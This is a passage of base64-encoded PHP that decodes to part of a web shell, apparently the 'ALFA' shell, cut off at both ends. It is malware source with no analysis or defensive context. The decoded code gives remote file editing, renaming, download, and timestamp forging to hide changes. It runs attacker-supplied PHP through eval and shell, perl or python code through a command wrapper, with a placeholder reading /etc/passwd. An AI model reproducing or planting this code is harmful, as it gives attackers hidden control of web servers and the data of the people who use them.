sgIH0gIGlmKCFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pKXsgICRfUE9TVFsnYWxmYTMnXSA9IHN1YnN0cigkX1BPU1RbJ2FsZmEzJ10sMSk7ICAkdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydhbGZhMSddKTsgICRmcCA9IEBfX3dyaXRlX2ZpbGUoJF9QT1NUWydhbGZhMSddLCRfUE9TVFsnYWxmYTMnXSk7ICBpZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsgIAkkcm5hbWUgPSAkYWxmYTFfZGVjb2RlZDsgIAkkcmFuZG5hbWUgPSAkcm5hbWUucmFuZCgxMTEsOTk5OSk7ICAJJGZpbGVwYXRoID0gZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pLiIvIi4kcmFuZG5hbWU7ICAJaWYoJGZwID0gQF9fd3JpdGVfZmlsZSgkZmlsZXBhdGggLCRfUE9TVFsnYWxmYTMnXSkpeyAgIGFsZmFFeCgibXYgJyIuYWRkc2xhc2hlcygkZmlsZXBhdGgpLiInICciLmFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMSJdKS4iJztybSAtZiAnIi5hZGRzbGFzaGVzKCRmaWxlcGF0aCkuIiciKTsgIAl9ICB9ICBpZigkZnApeyAgZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+YWxmYTNfPSIiOzwvc2NyaXB0Pic7ICBAdG91Y2goJF9QT1NUWydhbGZhMSddLCR0aW1lLCR0aW1lKTsgIH0gIH0gIGVjaG8gJzxidXR0b24gY2xhc3M9ImJ1dHRvbiIgc3R5bGU9ImJvcmRlci1yYWRpdXM6MTBweDsiIG9uQ2xpY2s9ImNvcHlUb0NsaXBib2FyZChcJ2VkaXRfdGV4dGFyZWFfY29udGVudFwnKTsiPmNvcHkgdG8gY2xpcGJvYXJkPC9idXR0b24+PGZvcm0gaWQ9ImVkaXRvcl9lZGl0X2FyZWEiIG9uc3VibWl0PSJlZGl0b3IoXCcnLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLidcJyxcJycuJF9QT1NUWydhbGZhMiddLidcJyxcJzFcJyt0aGlzLnRleHQudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiPjwvcD48dGV4dGFyZWEgbmFtZT0idGV4dCIgaWQ9ImVkaXRfdGV4dGFyZWFfY29udGVudCIgY2xhc3M9ImJpZ2FyZWEiIG9ua2V5ZG93bj0ic2F2ZUJ5S2V5KGV2ZW50KTsiPic7ICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoX19yZWFkX2ZpbGUoJF9QT1NUWydhbGZhMSddKSk7ICBlY2hvICc8L3RleHRhcmVhPjxwPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIj48L3A+PC9mb3JtPic7ICBicmVhazsgIGNhc2UgJ2hleGR1bXAnOiAgQGNoZGlyKCRfUE9TVFsnYyddKTsgICRjID0gX19yZWFkX2ZpbGUoJF9QT1NUWydhbGZhMSddKTsgICRuID0gMDsgICRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsJycsJycpOyAgJGxlbiA9IHN0cmxlbigkYyk7ICBmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsgICRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7ICBzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsgIGNhc2UgMDogJGhbMl0gLj0gJyAnOyBicmVhazsgIGNhc2UgOTogJGhbMl0gLj0gJyAnOyBicmVhazsgIGNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7ICBjYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOyAgZGVmYXVsdDogJGhbMl0gLj0gJGNbJGldOyBicmVhazsgIH0gICRuKys7ICBpZiAoJG4gPT0gMzIpIHsgICRuID0gMDsgIGlmKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30gICRoWzFdIC49ICc8YnI+JzsgICRoWzJdIC49ICJcbiI7ICB9ICB9ICBlY2hvICc8ZGl2IGNsYXNzPSJlZGl0b3ItdmlldyI+PGRpdiBjbGFzcz0idmlldy1jb250ZW50Ij48dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBiZ2NvbG9yPWdyYXk+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OiBub3JtYWw7Ij48cHJlPicuJGhbMF0uJzwvcHJlPjwvc3Bhbj48L3RkPjx0ZCBiZ2NvbG9yPSMyODI4Mjg+PHByZT4nLiRoWzFdLic8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pLic8L3ByZT48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj48L2Rpdj4nOyAgYnJlYWs7ICBjYXNlICdyZW5hbWUnOiAgQGNoZGlyKCRfUE9TVFsnYyddKTsgICRhbGZhMV9lc2NhcGUgPSBhZGRzbGFzaGVzKCRfUE9TVFsiYWxmYTEiXSk7ICAkYWxmYTNfZXNjYXBlID0gYWRkc2xhc2hlcygkX1BPU1RbImFsZmEzIl0pOyAgaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSkpeyAgJGNtZF9yZW5hbWUgPSBmYWxzZTsgIGlmKCRjaGRpcl9mYWxzJiYkYWxmYV9jYW5ydW5jbWQpeyAgaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7ICAkYWxmYTFfZXNjYXBlID0gYWRkc2xhc2hlcygkYWxmYTFfZGVjb2RlZCk7ICBhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWydjJ10pLiInO212ICciLiRhbGZhMV9lc2NhcGUuIicgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmEzJ10pLiInIik7ICB9ZWxzZXsgICRjbWRfcmVuYW1lID0gdHJ1ZTsgIH0gIH1lbHNleyAgJGFsZmExX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMSJdKTsgIH0gIGlmKCFAcmVuYW1lKCRfUE9TVFsnYWxmYTEnXSwgJF9QT1NUWydhbGZhMyddKSYmJGNtZF9yZW5hbWUpeyAgZWNobyAnQ2FuXCd0IHJlbmFtZSE8YnI+Jzt9ZWxzZXtlY2hvKCdSZW5hbWVkITxzY3JpcHQ+dHJ5eyQoIicuJF9QT1NUWydhbGZhNCddLiciKS5pbm5lckhUTUwgPSAiPGRpdiBjbGFzcz1cJ2VkaXRvci1pY29uXCc+Iitsb2FkVHlwZShcJycuJGFsZmEzX2VzY2FwZS4nXCcsXCcnLiRmdHlwZS4nXCcsXCcnLiRfUE9TVFsnYWxmYTQnXS4nXCcpKyI8L2Rpdj48ZGl2IGNsYXNzPVwnZWRpdG9yLWZpbGUtbmFtZVwnPicuJGFsZmEzX2VzY2FwZS4nPC9kaXY+IjtlZGl0b3JfZmlsZXNbIicuJF9QT1NUWydhbGZhNCddLiciXS5maWxlID0gIicuJGFsZmEzX2VzY2FwZS4nIjtkLmZpbGVzLmlubmVySFRNTCA9IGQuZmlsZXMuaW5uZXJIVE1MLnJlcGxhY2UoL1xcXCcnLiRhbGZhMV9lc2NhcGUuJ1xcXCcvZywgIlwnJy4kYWxmYTNfZXNjYXBlLidcJyIpO2QuZmlsZXMuaW5uZXJIVE1MID0gZC5maWxlcy5pbm5lckhUTUwucmVwbGFjZSgvdmFsdWVcPVwiJy4kYWxmYTFfZXNjYXBlLidcIi8sIFwndmFsdWVcPVwiJy4kYWxmYTNfZXNjYXBlLidcIlwnKTtkLmZpbGVzLmlubmVySFRNTCA9IGQuZmlsZXMuaW5uZXJIVE1MLnJlcGxhY2UoLycuJGFsZmExX2VzY2FwZS4nXDxcL2FcPi9nLCAiJy4kYWxmYTNfZXNjYXBlLic8L2E+Iik7ZC5maWxlcy5pbm5lckhUTUwgPSBkLmZpbGVzLmlubmVySFRNTC5yZXBsYWNlKC9BcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICcuJGFsZmExX2VzY2FwZS4nICMgXD8vLCAiQXJlIFlvdSBTdXJlIEZvciBEZWxldGUgIyAnLiRhbGZhM19lc2NhcGUuJyAjID8iKTsnLigkZnR5cGUgPT0gImRpciI/InVwZGF0ZURpcnNFZGl0b3IoJyIuJF9QT1NUWydhbGZhNCddLiInLCciLiRhbGZhMV9lc2NhcGUuIicpOyI6IiIpLid9Y2F0Y2goZSl7Y29uc29sZS5sb2coZSl9PC9zY3JpcHQ+Jyk7JGFsZmExX2VzY2FwZSA9ICRhbGZhM19lc2NhcGU7fSAgfSAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImVkaXRvcihcJycuJGFsZmExX2VzY2FwZS4nXCcsXCcnLiRfUE9TVFsnYWxmYTInXS4nXCcsdGhpcy5uYW1lLnZhbHVlLFwnJy4kX1BPU1RbJ2MnXS4nXCcsXCcnLiRfUE9TVFsnYWxmYTQnXS4nXCcsXCcnLiRmdHlwZS4nXCcpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuYW1lIiB2YWx1ZT0iJy5hZGRzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMoaXNzZXQoJF9QT1NUWydhbGZhMyddKSYmJF9QT1NUWydhbGZhMyddIT0nJz8kX1BPU1RbJ2FsZmEzJ106JGFsZmExX2RlY29kZWQpKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAiPjwvZm9ybT4nOyAgYnJlYWs7ICBjYXNlICd0b3VjaCc6ICBAY2hkaXIoJF9QT1NUWydjJ10pOyAgaWYoICFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pICkgeyAgJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydhbGZhMyddKTsgIGlmKCR0aW1lKXsgICR0b3VjaGVkID0gZmFsc2U7ICBpZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsgIAlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInO3RvdWNoIC1kICciLmh0bWxzcGVjaWFsY2hhcnMoYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmEzJ10pKS4iJyAnIi5hZGRzbGFzaGVzKCRhbGZhMV9kZWNvZGVkKS4iJyIpOyAgCSR0b3VjaGVkID0gdHJ1ZTsgIH0gIGlmKCFAdG91Y2goJF9QT1NUWydhbGZhMSddLCR0aW1lLCR0aW1lKSYmISR0b3VjaGVkKSAgZWNobyAnRmFpbCEnOyAgZWxzZSAgZWNobyAnVG91Y2hlZCEnOyAgfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1hdCEnOyAgfSAgY2xlYXJzdGF0Y2FjaGUoKTsgIGVjaG8gJzxzY3JpcHQ+YWxmYTNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJlZGl0b3IoXCcnLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMSddKS4nXCcsXCcnLiRfUE9TVFsnYWxmYTInXS4nXCcsdGhpcy50b3VjaC52YWx1ZSxcJycuJF9QT1NUWydjJ10uJ1wnLFwnJy4kX1BPU1RbJ2FsZmE0J10uJ1wnLFwnJy4kZnR5cGUuJ1wnKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCAoJGNoZGlyX2ZhbHM/JGZpbGVfaW5mb1s0XTpAZmlsZW10aW1lKCRfUE9TVFsnYWxmYTEnXSkpKS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAiPjwvZm9ybT4nOyAgYnJlYWs7ICBjYXNlICdpbWFnZSc6ICBAY2hkaXIoJF9QT1NUWydjJ10pOyAgZWNobygnPGhyPicpOyAgJGZpbGUgPSAkX1BPU1RbJ2FsZmExJ107ICAkaW1hZ2VfaW5mbyA9IEBnZXRpbWFnZXNpemUoJGZpbGUpOyAgaWYoaXNfYXJyYXkoJGltYWdlX2luZm8pfHwkY2hkaXJfZmFscyl7ICAkd2lkdGggPSAoaW50KSRpbWFnZV9pbmZvWzBdOyAgJGhlaWdodCA9IChpbnQpJGltYWdlX2luZm9bMV07ICBpZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsgIAkkc291cmNlID0gYWxmYUV4KCJjYXQgJyIuYWRkc2xhc2hlcygkZmlsZSkuIicgfCBiYXNlNjQiKTsgIAlsaXN0KCR3aWR0aCwgJGhlaWdodCkgPSBleHBsb2RlKCI6IiwgYWxmYUV4KCJpZGVudGlmeSAtZm9ybWF0ICcldzolaCcgJyIuYWRkc2xhc2hlcygkZmlsZSkuIiciKSk7ICAJJG1pbWUgPSBleHBsb2RlKCI6IiwgYWxmYUV4KCJmaWxlIC0tbWltZS10eXBlICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIikpOyAgCSRpbWFnZV9pbmZvWydtaW1lJ10gPSAkbWltZVsxXTsgIH1lbHNleyAgCSRzb3VyY2UgPSBfX1pXNWpiMlJsY2coX19yZWFkX2ZpbGUoJGZpbGUsIGZhbHNlKSk7ICB9ICAkaW1hZ2VfaW5mb19oID0gIkltYWdlIHR5cGUgPSA8c3Bhbj5bPC9zcGFuPiAiLiRpbWFnZV9pbmZvWydtaW1lJ10uIiA8c3Bhbj5dPC9zcGFuPjxicj5JbWFnZSBTaXplID0gPHNwYW4+WyA8L3NwYW4+Ii4kd2lkdGguIiB4ICIuJGhlaWdodC4iPHNwYW4+IF08L3NwYW4+PGJyPiI7ICBpZigkd2lkdGggPiA4MDApeyR3aWR0aCA9IDgwMDt9ICBlY2hvICRjb250ZW50ID0gIjxkaXYgY2xhc3M9J2VkaXRvci12aWV3Jz48ZGl2IGNsYXNzPSd2aWV3LWNvbnRlbnQnPjxjZW50ZXI+Ii4kaW1hZ2VfaW5mb19oLiI8YnI+PGltZyBpZD0ndmlld0ltYWdlJyBzdHlsZT0nbWF4LXdpZHRoOjEwMCU7Ym9yZGVyOjFweCBzb2xpZCBncmVlbjsnIHNyYz0nZGF0YToiLiRpbWFnZV9pbmZvWydtaW1lJ10uIjtiYXNlNjQsIi4kc291cmNlLiInIGFsdD0nIi4kZmlsZS4iJz48L2NlbnRlcj48L2Rpdj48L2Rpdj48YnI+IjsgIH0gIGJyZWFrOyAgfSAgZWNobyAnPC9kaXY+JzsgIGFsZmFGb290ZXIoKTsgIH0gIGZ1bmN0aW9uIGZpbmRpY29uKCRmaWxlLCR0eXBlKXsgICRzID0gJ2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvJzsgICR0eXBlcyA9IGFycmF5KCdqc29uJywncHB0JywncHB0eCcsJ3hscycsJ3hsc3gnLCdtc2knLCdjb25maWcnLCdjZ2knLCdwbScsJ2MnLCdjcHAnLCdjcycsJ2phdmEnLCdhc3B4JywnYXNwJywnZGInLCd0dGYnLCdlb3QnLCd3b2ZmJywnd29mZjInLCd3b2ZmJywnY29uZicsJ2xvZycsJ2FwaycsJ2NhYicsJ2J6MicsJ3RneicsJ2RtZycsJ2l6bycsJ2phcicsJzd6JywnaXNvJywncmFyJywnYmF0Jywnc2gnLCdhbGZhJywnZ3onLCd0YXInLCdwaHAnLCdwaHA0JywncGhwNScsJ3BodG1sJywnaHRtbCcsJ3hodG1sJywnc2h0bWwnLCdodG0nLCd6aXAnLCdwbmcnLCdqcGcnLCdqcGVnJywnZ2lmJywnYm1wJywnaWNvJywndHh0JywnanMnLCdyYicsJ3B5JywneG1sJywnY3NzJywnc3FsJywnaHRhY2Nlc3MnLCdwbCcsJ2luaScsJ2RsbCcsJ2V4ZScsJ21wMycsJ21wNCcsJ200YScsJ21vdicsJ2ZsdicsJ3N3ZicsJ21rdicsJ2F2aScsJ3dtdicsJ21wZycsJ21wZWcnLCdkYXQnLCdwZGYnLCczZ3AnLCdkb2MnLCdkb2N4JywnZG9jbScpOyAgaWYoJHR5cGUhPSdmaWxlJyl7ICByZXR1cm4gKCRmaWxlPT0nLi4nPyRzLidiYWNrLnBuZyc6JHMuJ2ZvbGRlci5wbmcnKTsgIH1lbHNleyAgJGV4dCA9IGV4cGxvZGUoJy4nLCRmaWxlKTsgICRleHQgPSBlbmQoJGV4dCk7ICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsgIHJldHVybiAoaW5fYXJyYXkoJGV4dCwkdHlwZXMpPyRzLiRleHQuJy5wbmcnOiRzLidub3Rmb3VuZC5wbmcnKTsgIH0gIH0gIGZ1bmN0aW9uIGFsZmFkbGZpbGUoKXsgIGlmKGlzc2V0KCRfUE9TVFsnYyddLCRfUE9TVFsnZmlsZSddKSl7ICAkYmFzZW5hbWUgPSByYXd1cmxkZWNvZGUoYmFzZW5hbWUoJF9QT1NUWydmaWxlJ10pKTsgICRfUE9TVFsnZmlsZSddID0gc3RyX3JlcGxhY2UoIi8vIiwgIi8iLCAkX1BPU1RbJ2MnXS4nLycuJGJhc2VuYW1lKTsgICRhbGZhX2NhbnJ1bmNtZCA9IF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSk7ICBpZihAaXNfZmlsZSgkX1BPU1RbJ2ZpbGUnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsnZmlsZSddKSB8fCAkYWxmYV9jYW5ydW5jbWQpeyAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOyAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYWRkc2xhc2hlcygkYmFzZW5hbWUpLiJcIiIpOyAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOyAgaWYoaXNzZXQoJEdMT0JBTFNbImdsb2JfY2hkaXJfZmFsc2UiXSkpeyAgCSRyYW5kbmFtZSA9ICRiYXNlbmFtZS5yYW5kKDExMSw5OTk5KTsgIAkkc2NyaXB0cGF0aCA9IGRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTsgIAkkZmlsZXBhdGggPSAkc2NyaXB0cGF0aC4iLyIuJHJhbmRuYW1lOyAgCWlmKF9hbGZhX2lzX3dyaXRhYmxlKCRzY3JpcHRwYXRoKSl7ICAgYWxmYUV4KCJjcCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiZmlsZSJdKS4iJyAnIi5hZGRzbGFzaGVzKCRmaWxlcGF0aCkuIiciKTsgICByZWFkZmlsZSgkZmlsZXBhdGgpOyAgIEB1bmxpbmsoJGZpbGVwYXRoKTsgIAl9ZWxzZXsgICBhbGZhRXgoImNhdCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiZmlsZSJdKS4iJyIpOyAgCX0gIH1lbHNleyAgCXJlYWRmaWxlKCRfUE9TVFsnZmlsZSddKTsgIH0gIH1lbHNlIGVjaG8oJ0Vycm9yLi4uIScpO319ICBmdW5jdGlvbiBhbGZhcGhwZXZhbCgpeyAgYWxmYWhlYWQoKTsgIGlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgKCRfUE9TVFsnYWxmYTInXSA9PSAnaW5pJykpeyAgZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsgIG9iX3N0YXJ0KCk7ICAkSU5JPWluaV9nZXRfYWxsKCk7ICBwcmludCAnPHRhYmxlIGJvcmRlcj0wPjx0cj4nICAuJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGZvbnQgY2xhc3M9ImhpZ2hsaWdodF90eHQiPlBhcmFtPC90ZD4nICAuJzx0ZCBjbGFzcz0ibGlzdGluZyI+PGZvbnQgY2xhc3M9ImhpZ2hsaWdodF90eHQiPkdsb2JhbCB2YWx1ZTwvdGQ+JyAgLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5Mb2NhbCBWYWx1ZTwvdGQ+JyAgLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5BY2Nlc3M8L3RkPjwvdHI+JzsgIGZvcmVhY2ggKCRJTkkgYXMgJHBhcmFtID0+ICR2YWx1ZXMpICBwcmludCAiXG4iLic8dHI+JyAgLic8dGQgY2xhc3M9Imxpc3RpbmciPjxiPicuJHBhcmFtLic8L3RkPicgIC4nPHRkIGNsYXNzPSJsaXN0aW5nIj4nLiR2YWx1ZXNbJ2dsb2JhbF92YWx1ZSddLicgPC90ZD4nICAuJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydsb2NhbF92YWx1ZSddLicgPC90ZD4nICAuJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydhY2Nlc3MnXS4nIDwvdGQ+PC90cj4nOyAgJHRtcCA9IG9iX2dldF9jbGVhbigpOyAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOyAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOyAgZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsgIH0gIGlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgKCRfUE9TVFsnYWxmYTInXSA9PSAnaW5mbycpKSB7ICBlY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48c3R5bGU+LnAge2NvbG9yOiMwMDA7fTwvc3R5bGU+JzsgIG9iX3N0YXJ0KCk7ICBwaHBpbmZvKCk7ICAkdG1wID0gb2JfZ2V0X2NsZWFuKCk7ICAkdG1wID0gcHJlZ19yZXBsYWNlKCchKGJvZHl8YTpcdyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsJycsJHRtcCk7ICAkdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7ICBlY2hvIHN0cl9yZXBsYWNlKCc8aDEnLCc8aDInLCAkdG1wKSAuJzwvZGl2Pjxicj4nOyAgfSAgaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSAmJiAoJF9QT1NUWydhbGZhMiddID09ICdleHRlbicpKSB7ICBlY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOyAgb2Jfc3RhcnQoKTsgICRFWFQ9Z2V0X2xvYWRlZF9leHRlbnNpb25zKCk7ICBlY2hvICc8dGFibGUgYm9yZGVyPTA+PHRyPjx0ZCBjbGFzcz0ibGlzdGluZyI+Jy5pbXBsb2RlKCc8L3RkPjwvdHI+Jy4iXG4iLic8dHI+PHRkIGNsYXNzPSJsaXN0aW5nIj4nLCAkRVhUKS4nPC90ZD48L3RyPjwvdGFibGU+Jy5jb3VudCgkRVhUKS4nIGV4dGVuc2lvbnMgbG9hZGVkJzsgIGVjaG8gJzwvZGl2Pjxicj4nOyAgfSAgJGxhbmdfaHRtbCA9ICIiOyAgZm9yZWFjaChhcnJheSgicGhwIj0+InBocCB+PiBbIFdpbmRvd3MgLyBMaW51eCBdIiwicGVybCI9PiJwZXJsIH4+IFsgTGludXggXSIsInB5dGhvbiI9PiJweXRob24gfj4gWyBMaW51eCBdIiwiYmFzaCI9PiJiYXNoIH4+IFsgTGludXggXSIpIGFzICRrZXk9PiR2YWwpeyRsYW5nX2h0bWwgLj0gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIiAnLigkX1BPU1RbImFsZmEzIl09PSRrZXk/InNlbGVjdGVkIjoiIikuJz4nLiR2YWwuJzwvb3B0aW9uPic7fSAgZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PENlbnRlcj48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwncGhwZXZhbFwnLG51bGwsXCdcJyxcJ2luaVwnKSI+fCBJTklfSU5GTyB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwncGhwZXZhbFwnLG51bGwsXCdcJyxcJ2luZm9cJykiPiB8IHBocGluZm8gfDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwncGhwZXZhbFwnLG51bGwsXCdcJyxcJ2V4dGVuXCcpIj4gfCBleHRlbnNpb25zIHw8L2E+PC9jZW50ZXI+PGJyPjxmb3JtIG5hbWU9cGYgbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ImcoXCdwaHBldmFsXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUsbnVsbCx0aGlzLmxhbmd1YWdlLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+PGRpdiBjbGFzcz0idHh0Zm9udCI+U2VsZWN0IExhbmd1YWdlOiA8L2Rpdj4gPHNlbGVjdCBuYW1lPSJsYW5ndWFnZSIgc3R5bGU9IndpZHRoOjMwMHB4OyI+Jy4kbGFuZ19odG1sLic8L3NlbGVjdD48YnI+PGJyPjx0ZXh0YXJlYSBwbGFjZWhvbGRlcj0iZmlsZV9nZXRfY29udGVudHMoXCcvZXRjL3Bhc3N3ZFwnKTsiIG5hbWU9Y29kZSBjbGFzcz1iaWdhcmVhIGlkPVBocENvZGU+Jy4oIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmExJ10pOicnKS4nPC90ZXh0YXJlYT48Y2VudGVyPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+PC9jZW50ZXI+JzsgIGVjaG8gJzwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydhbGZhMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOyAgaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpeyAgaWYoJF9QT1NUWydhbGZhMyddPT0icGhwIil7ICBvYl9zdGFydCgpOyAgZXZhbCgkX1BPU1RbJ2FsZmExJ10pOyAgJHJlc3VsdCA9IGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOyAgfWVsc2VpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCgpJiYkR0xPQkFMU1sic3lzIl09PSJ1bml4Iil7ICAJaWYoaXNzZXQoJF9TRVNTSU9OWyJldmFsX3RtcGRpciJdKSl7ICAgJHRlbXBkaXIgPSAkX1NFU1NJT05bImV2YWxfdG1wZGlyIl07ICAJfWVsc2V7ICAgJHRlbXBkaXIgPSBkaXJuYW1lKGFsZmFFeCgibWt0ZW1wIikpOyAgICRfU0VTU0lPTlsiZXZhbF90bXBkaXIiXSA9ICR0ZW1wZGlyOyAgCX0gIAkkbGFuZyA9ICRfUE9TVFsnYWxmYTMnXTsgIAkkZmlsZW5hbWUgPSAidGVtcCIucmFuZCgxMTExMSw5OTk5OSk7ICAJJHRlbXAgPSAkdGVtcGRpci4iLyIuJGZpbGVuYW1lIDsgIAlfX3dyaXRlX2ZpbGUoJGZpbGVuYW1lLCAkX1BPU1RbJ2FsZmExJ10pOyAgCSRyZXN1bHQgPSBhbGZhRXgoIm12IHskZmlsZW5hbWV9IHskdGVtcH07eyRsYW5nfSB7JHRlbXB9O3JtIC1mIHskdGVtcH0iKTsgIAlAdW5saW5rKCRmaWxlbmFtZSk7ICAJQHVubGluaygkdGVtcCk7ICB9ICBlY2hvICc8dGV4dGFyZWEgY2xhc3M9YmlnYXJlYSBpZD0iUGhwQ29kZSI+Jy4kcmVzdWx0Lic8L3RleHRhcmVhPic7ICB9ICBlY2hvICc8L3ByZT48L2Rpdj4nOyAgYWxmYWZvb3RlcigpOyAgfSAgZnVuY3Rpb24gYWxmYWhhc2goKXsgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319ICBpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fSAgJHN0cmluZ1Rvb2xzID0gYXJyYXkoICAnQmFzZTY0X2VuY29kZSAoICRzdHJpbmcgKScgPT4gJ19fWlc1amIyUmxjZygkcyknLCAgJ0Jhc2U2NF9kZWNvZGUgKCAkc3RyaW5nICknID0+ICdfX1pHVmpiMlJsY2coJHMpJywgICdzdHJyZXYgKCAkc3RyaW5nICknID0+ICd